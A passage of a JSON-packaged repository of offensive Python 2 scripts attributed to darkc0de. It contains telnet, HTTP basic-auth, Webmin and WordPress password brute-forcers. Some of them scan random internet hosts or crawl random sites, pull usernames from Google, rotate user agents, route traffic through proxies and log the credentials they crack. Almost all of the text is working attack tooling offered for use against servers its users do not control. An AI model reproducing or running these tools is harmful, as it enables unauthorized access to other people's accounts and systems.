    "content": "#!usr/bin/python\n#Telnet Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, telnetlib\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./telnetbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0][:-1], users[0]\n\telse:\n\t\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\ttn = telnetlib.Telnet(sys.argv[1])\n\t\t\ttn.read_until(\"login: \")\n\t\t\ttn.write(user + \"\\n\")\n\t\t\tif password:\n\t\t\t\t\ttn.read_until(\"Password: \")\n\t\t\t\t\ttn.write(value + \"\\n\")\n\t\t\ttn.write(\"ls\\n\")\n\t\t\ttn.write(\"exit\\n\")\n\t\t\tprint tn.read_all()\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\ttn.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept: \n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "telnetbrute_iprange.py",
    "content": "#!usr/bin/python\n#Telnet Brute Forcer, searches ip_range for hosts using telnet.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, telnetlib, re\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./telnetbrute.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 23 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\ttn = telnetlib.Telnet(ip)\n\t\t\ttn.read_until(\"login: \")\n\t\t\ttn.write(user[:-1] + \"\\n\")\n\t\t\tif password:\n\t\t\t\t\ttn.read_until(\"Password: \")\n\t\t\t\t\ttn.write(value + \"\\n\")\n\t\t\ttn.write(\"ls\\n\")\n\t\t\ttn.write(\"exit\\n\")\n\t\t\tprint tn.read_all()\n\t\t\tprint \"\\t\\nLogin successful:\",value, user[:-1]\n\t\t\ttn.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept: \n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "telnetbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if telnet port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, telnetlib, re\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./telnetbrute.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 23 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\ttn = telnetlib.Telnet(ipaddr[0])\n\t\t\ttn.read_until(\"login: \")\n\t\t\ttn.write(user[:-1] + \"\\n\")\n\t\t\tif password:\n\t\t\t\t\ttn.read_until(\"Password: \")\n\t\t\t\t\ttn.write(value + \"\\n\")\n\t\t\ttn.write(\"ls\\n\")\n\t\t\ttn.write(\"exit\\n\")\n\t\t\tprint tn.read_all()\n\t\t\tprint \"\\t\\nLogin successful:\",user[:-1], value\n\t\t\ttn.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept: \n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "webauthbrute.py",
    "content": "#!usr/bin/python\n#Pop-up Basic Authentication Brute Forcer\n#Not fully tested, encourage feedback.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, urllib2, socket, httplib\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./webauthbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn users[0], value[0][:-1]\n\telse:\n\t\treturn users[0][:-1], value[0][:-1] \n\ndef getauth(url):\n\t\n\treq = urllib2.Request(url)\n\ttry:\n    \t\thandle = urllib2.urlopen(req)\n\texcept IOError, e:                  \n    \t\tpass\n\telse:                               \n    \t\tprint \"This page isn't protected by basic authentication.\\n\"\n    \t\tsys.exit(1)\n    \n\tif not hasattr(e, 'code') or e.code != 401:                 \n    \t\tprint \"\\nThis page isn't protected by basic authentication.\"\n    \t\tprint 'But we failed for another reason.\\n'\n    \t\tsys.exit(1)\n\n\tauthline = e.headers.get('www-authenticate', '')    \n          \n\tif not authline:\n    \t\tprint '\\nA 401 error without an basic authentication response header - very weird.\\n'\n    \t\tsys.exit(1)\n\telse:\n\t\treturn authline\n\t\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tusername, password = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",username,\"Password:\",password\n\t\t\treq = urllib2.Request(sys.argv[1])\n\t\t\tpassman = urllib2.HTTPPasswordMgrWithDefaultRealm()\n\t\t\tpassman.add_password(None, sys.argv[1], username, password)\n\t\t\tauthhandler = urllib2.HTTPBasicAuthHandler(passman)\n\t\t\topener = urllib2.build_opener(authhandler)\n\t\t\tfd = opener.open(req)\n\t\t\tprint \"\\t\\n\\nUsername:\",username,\"Password:\",password,\"----- Login successful!!!\\n\\n\"\t\t\t\n\t\t\tprint \"Retrieved\", fd.geturl()\n\t\t\tinfo = fd.info()\n\t\t\tfor key, value in info.items():\n    \t\t\t\tprint \"%s = %s\" % (key, value)\n\t\t\tsys.exit(2)\n\t\texcept (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com webauthBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+]\",getauth(sys.argv[1]),\"\\n\"\n\nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.setDaemon(1)\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "webauthbrute_random_usersupport.py",
    "content": "#!usr/bin/python\n#Pop-up Basic Authentication Random Brute Forcer + user loopup\n#It will scan for 401 authentication, collect users from google, brute force and save \n#successfull logins to a file.\n#Not fully tested, encourage feedback.\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, urllib2, httplib, re, socket\nfrom copy import copy\n\nif len(sys.argv) !=6:\n\tprint \"\\nUsage: ./webauthbrute_random.py <start website> <userlist> <wordlist> <how many> <file to save logins>\\n\"\n\tprint \"Ex: ./webauthbrute_random.py www.busywebsite.com users.txt words.txt 100 logins.txt\\n\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nwordlist = copy(words)\nhits = 0\nlogins = 0\n\ndef geturls(url):\n\t\n\ttry:\n\t\tprint \"[+] Collecting:\",url\n\t\tpage = urllib2.urlopen(url).read()\n\t\tlinks = re.findall(('http://\\w+.\\w+\\.\\w+[/\\w+.]*[/.]\\w+'), page)\n\t\tfor link in links:\n\t\t\tif link not in urls and link[-3:].lower() not in (\"gif\",\"jpg\",\"png\",\"ico\"):\n\t\t\t\turls.append(link)\n\texcept(IOError,TypeError,AttributeError,httplib.BadStatusLine, socket.error): pass\n\treturn urls\n\ndef StripTags(text):\n     finished = 0\n     while not finished:\n         finished = 1\n         start = text.find(\"<\")\n         if start >= 0:\n             stop = text[start:].find(\">\")\n             if stop >= 0:\n                 text = text[:start] + text[start+stop+1:]\n                 finished = 0\n     return text\n\ndef getusers(domain):\n\td={}\n\tglobal erase\n\tpage_counter = 0\n\ttry:\n    \t\twhile page_counter < 50 :\n        \t\tresults = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'\n        \t\trequest = urllib2.Request(results)\n        \t\trequest.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')\n        \t\topener = urllib2.build_opener()                           \n        \t\ttext = opener.open(request).read()\n        \t\temails = (re.findall('([\\w\\.\\-]+@'+domain+')',StripTags(text)))\n        \t\tfor email in emails:\n            \t\t\td[email]=1\n            \t\t\tuniq_emails=d.keys()\n        \t\tpage_counter +=10\n\texcept(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):\n    \t\tprint \"Can't connect to Google Groups!\"+\"\"\n\t\tpass\n    \n\tpage_counter_web=0\n\ttry:\n\n    \t\twhile page_counter_web < 50 :\n        \t\tresults_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'\n        \t\trequest_web = urllib2.Request(results_web)\n        \t\trequest_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')\n        \t\topener_web = urllib2.build_opener()                           \n        \t\ttext = opener_web.open(request_web).read()\n        \t\temails_web = (re.findall('([\\w\\.\\-]+@'+domain+')',StripTags(text)))\n        \t\tfor email_web in emails_web:\n            \t\t\td[email_web]=1\n            \t\t\tuniq_emails_web=d.keys()\n        \t\tpage_counter_web +=10\n        \n\texcept(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):\n    \t\tprint \"Can't connect to Google Web!\"+\"\"\n\t\tpass\n\tprint \"[+] Found users:\",len(d.keys())\n\tprint \"[+] Adding users to the list\"\n\terase = len(d.keys())\n\tfor uniq_emails_web in d.keys():\n    \t\tuser = uniq_emails_web.rsplit('@',1)[0]\n    \t\tusers.append(user)\n\tprint \"[+]\",len(d.keys()),\"added\"\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn users[0], value[0][:-1]\n\telse:\n\t\treturn users[0][:-1], value[0][:-1] \n\ndef getauth(site, users):\n\t\n\tprint \"[-] Checking Authentication:\",site\n\tglobal hits\n\ttry:\n\t\treq = urllib2.Request(site)\n\t\thandle = urllib2.urlopen(req)\n\t\tif site in urls:\n\t\t\tprint \"Removing:\",site\n\t\t\turls.remove(site)\n\texcept(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:\n\t\t\tprint \"\\t- Got:\",msg,\"\\n\"\n\t\t\ttry:\n\t\t\t\tif hasattr(msg, 'code') or msg.code == 401:\n\t\t\t\t\tauthline = msg.headers.get('www-authenticate', '')\n\t\t\t\t\tif authline:\n\t\t\t\t\t\tprint \"[+]\",authline\n\t\t\t\t\t\tprint \"[+] Found site using basic authentication\"\n\t\t\t\t\t\tdomain = site[7:].split(\"/\",3)[0]\n\t\t\t\t\t\tprint \"[+] Collecting users from Google:\",domain,\"\\n\"\n\t\t\t\t\t\tgetusers(domain)\n\t\t\t\t\t\tprint \"[+] Attempting Brute Force on\",site,\"\\n\"\n\t\t\t\t\t\thits +=1\n\t\t\t\t\t\tfor i in range(len(words)*len(users)):\n\t\t\t\t\t\t\twork = threading.Thread()\n\t\t\t\t\t\t\twork.setDaemon(1)\n\t\t\t\t\t\t\twork.start()\n\t\t\t\t\t\t\tthreader(site)\n\t\t\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\t\tprint len(users)\n\t\t\t\t\t\tprint \"[+] Removing last collected users\\n\"\n\t\t\t\t\t\tusers = users[:-int(erase)]\n\t\t\t\t\t\tprint len(users)\n\t\t\texcept(AttributeError):\n\t\t\t\tpass\n\telse: \n\t\tprint \"\\t- Got: 200\\n\"\n\t\ndef threader(site):\n\tusername, password = getword()\n\tglobal logins\n\ttry:\n\t\tprint \"-\"*12\n\t\tprint \"User:\",username,\"Password:\",password\n\t\treq = urllib2.Request(site)\n\t\tpassman = urllib2.HTTPPasswordMgrWithDefaultRealm()\n\t\tpassman.add_password(None, site, username, password)\n\t\tauthhandler = urllib2.HTTPBasicAuthHandler(passman)\n\t\topener = urllib2.build_opener(authhandler)\n\t\tfd = opener.open(req)\n\t\tsite = urllib2.urlopen(fd.geturl()).read()\n\t\tprint \"\\n[+] Checking the authenticity of the login...\\n\"\n\t\tif not re.search(('denied'), site.lower()):\n\t\t\tprint \"\\t\\n\\n[+] Username:\",username,\"Password:\",password,\"----- Login successful!!!\\n\\n\"\n\t\t\tprint \"[+] Writing Successful Login:\",sys.argv[5],\"\\n\"\n\t\t\tlogins +=1\n\t\t\tfile = open(sys.argv[5], \"a\")\n\t\t\tfile.writelines(\"Site: \"+site+\" Username: \"+username+ \" Password: \"+password+\"\\n\")\n\t\t\tfile.close()\t\t\t\n\t\t\tprint \"Retrieved\", fd.geturl()\n\t\t\tinfo = fd.info()\n\t\t\tfor key, value in info.items():\n    \t\t\t\tprint \"%s = %s\" % (key, value)\n\t\telse: \n\t\t\tprint \"- Redirection\\n\"\n\texcept (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg: \n\t\tprint \"An error occurred:\", msg\n\t\tpass\n\ndef giddyup(start):\n\tif start[:7] != \"http://\":\n\t\tstart = \"http://\"+start\t\n\turls = geturls(start)\n\tfor x in range(1,int(sys.argv[4])):\n\t\tprint \"- Destination:\",x,\"of\",int(sys.argv[4])\n\t\tif len(urls) < 5000:\n\t\t\turls = geturls(random.choice(urls))\n\t\t\tprint \"- Collected:\",len(urls)\n\t\t\tsite = random.choice(urls)\n\t\t\tgetauth(site, users)\n\t\t\tfor i in range(2,site.count('/')):\n\t\t\t\tsite = site.rpartition('/')[0]\n\t\t\t\tgetauth(site, users)\n\t\telse:\n\t\t\tfor url in urls[1:2500]:\n\t\t\t\turls.remove(url)\n\t\t\t\nurls = []\nstart = sys.argv[1]\n\nprint \"\\n\\t d3hydr8[at]gmail[dot]com WebauthBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Starter:\",start\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+] Scanning:\",sys.argv[4]\nprint \"[+] Logins File:\",sys.argv[5],\"\\n\"\n\ntime.sleep(5)\ngiddyup(start)\n\nwhile start:\n\tprint \"\\n\\nFound\",hits,\"sites using basic authentication.\"\n\tprint \"Logins Reported:\",logins\n\tstart = raw_input(\"Enter new starting site or Press enter to exit: \")\n\tif start: \n\t\tgiddyup(start)\t\nif hits >= 1:\n\tprint \"\\n\\nFound:\",hits,\"brute forced\\n\"\nif logins >= 1:\n\tprint \"Check:\",sys.argv[5]\t\nprint \"\\n[+] Done\\n\"\n\t\n\n"
  },
  {
    "path": "webminbrute.py",
    "content": "#!usr/bin/python\n#Webmin Brute Forcer\n#To use this script you need ClientCookie and Client Form.\n#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz\n#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz\n#To install the package, run the following command:\n#python setup.py build\n#then (with appropriate permissions)\n#python setup.py install\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, socket, httplib, re, urllib2\ntry:\n\tsys.path.append('ClientCookie-1.0.3')\n\timport ClientCookie\n\tsys.path.append('ClientForm-0.1.17')\n\timport ClientForm\nexcept(ImportError):\n\tprint \"\\nTo use this script you need ClientCookie and Client Form.\"\n\tprint \"Read the top intro for instructions.\\n\"\n\tsys.exit(1)\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./webminbrute.py <server> <user> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com WebminBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] User:\",sys.argv[2]\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nheaders = [\"Mozilla/5.0 (compatible)\", \"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\", \"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\", \"Windows-RSS-Platform/1.0 (MSIE 7.0; Windows NT 5.1)\", \"Windows NT 6.0 (MSIE 7.0)\", \"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)\", \"Windows NT 4.0 (MSIE 5.0)\", \"Mozilla/4.0 (compatible; MSIE 5.5; Windows 98\", \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\", \"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2\"]\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tglobal success\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",sys.argv[2],\"Password:\",value\n\t\t\tcookieJar = ClientCookie.CookieJar()\n\t\t\topener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))\n\t\t\topener.addheaders = [(\"User-agent\", random.sample(headers,  1)[0])]\n\t\t\tClientCookie.install_opener(opener)\n\t\t\tfp = ClientCookie.urlopen(sys.argv[1])\n\t\t\tforms = ClientForm.ParseResponse(fp)\n\t\t\tform = forms[0]\n\t\t\tform[\"user\"] = sys.argv[2] \n\t\t\tform[\"pass\"] = value      \n\t\t\tfp = ClientCookie.urlopen(form.click())\n\t\t\tsite = fp.readlines()\n\t\t\tfor line in site:\n\t\t\t\tif re.search(\"Login failed.\", line.lower()) != None:\n\t\t\t\t\tprint \"\\tSuccessful Login:\", value\n\t\t\t\t\tsuccess =  value\n\t\t\t\t\tsys.exit(1)\n\t\t\tfp.close()\n\t\texcept(socket.gaierror, urllib2.HTTPError), msg: \n\t\t\tprint msg \n\t\t\tpass\n \nfor i in range(len(words)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\ntime.sleep(3)\ntry:\n\tif success:\n\t\tprint \"\\n\\n[+] Successful Login:\",sys.argv[1]\n\t\tprint \"[+] User:\",sys.argv[2],\" Password:\",success\nexcept(NameError):\n\tprint \"\\n[+] Couldn't find correct password\"\n\tpass\nprint \"\\n[+] Done\\n\"\n"
  },
  {
    "path": "wordpressbf.py",
    "content": "#!/usr/bin/python\n#WordPress Brute Force (wp-login.php)\n\n#If cookies enabled brute force will not work (yet)\n#Change response on line 97 if needed. (language)\n\n#Dork: inurl:wp-login.php\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2, sys, re, urllib, httplib, socket\n\nprint \"\\n   d3hydr8[at]gmail[dot]com WordPressBF v1.0\"\nprint \"----------------------------------------------\"\n\nif len(sys.argv) not in [4,5,6,7]:\n\tprint \"Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\\n\"\n\tprint \"\\t   -p/-proxy <host:port> : Add proxy support\"\n\tprint \"\\t   -v/-verbose : Verbose Mode\\n\"\n\tsys.exit(1)\n\t\nfor arg in sys.argv[1:]:\n\tif arg.lower() == \"-p\" or arg.lower() == \"-proxy\":\n\t\tproxy = sys.argv[int(sys.argv[1:].index(arg))+2]\n\tif arg.lower() == \"-v\" or arg.lower() == \"-verbose\":\n\t\tverbose = 1\n\t\t\ntry:\n\tif proxy:\n\t\tprint \"\\n[+] Testing Proxy...\"\n\t\th2 = httplib.HTTPConnection(proxy)\n\t\th2.connect()\n\t\tprint \"[+] Proxy:\",proxy\nexcept(socket.timeout):\n\tprint \"\\n[-] Proxy Timed Out\"\n\tproxy = 0\n\tpass\nexcept(NameError):\n\tprint \"\\n[-] Proxy Not Given\"\n\tproxy = 0\n\tpass\nexcept:\n\tprint \"\\n[-] Proxy Failed\"\n\tproxy = 0\n\tpass\n\t\ntry:\n\tif verbose == 1:\n\t\tprint \"[+] Verbose Mode On\\n\"\nexcept(NameError):\n\tprint \"[-] Verbose Mode Off\\n\"\n\tverbose = 0\n\tpass\n\t\nif sys.argv[1][:7] != \"http://\":\n\thost = \"http://\"+sys.argv[1]\nelse:\n\thost = sys.argv[1]\n\t\nprint \"[+] BruteForcing:\",host\nprint \"[+] User:\",sys.argv[2]\n\ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\n  \tprint \"[+] Words Loaded:\",len(words),\"\\n\"\nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n  \nfor word in words:\n\tword = word.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n\tlogin_form_seq = [\n     \t('log', sys.argv[2]),\n     \t('pwd', word),\n     \t('rememberme', 'forever'),\n     \t('wp-submit', 'Login >>'),\n\t\t('redirect_to', 'wp-admin/')]\n\tlogin_form_data = urllib.urlencode(login_form_seq)\n\tif proxy != 0:\n\t\tproxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})\n\t\topener = urllib2.build_opener(proxy_handler)\n\telse:\n\t\topener = urllib2.build_opener()\n\ttry:\n\t\tsite = opener.open(host, login_form_data).read()\n\texcept(urllib2.URLError), msg:\n\t\tprint msg\n\t\tsite = \"\"\n\t\tpass\n\n\tif re.search(\"WordPress requires Cookies\",site):\n\t\tprint \"[-] Failed: WordPress has cookies enabled\\n\"\n\t\tsys.exit(1)\n\t\t\n\t#Change this response if different. (language)\n\tif re.search(\"<strong>ERROR</strong>\",site) and verbose == 1:\n\t\tprint \"[-] Login Failed:\",word\n\telse:\n\t\tprint \"\\n\\t[!] Login Successfull:\",sys.argv[2],word,\"\\n\"\n\t\tsys.exit(1)\nprint \"\\n[-] Brute Complete\\n\"\n\t"
  }
]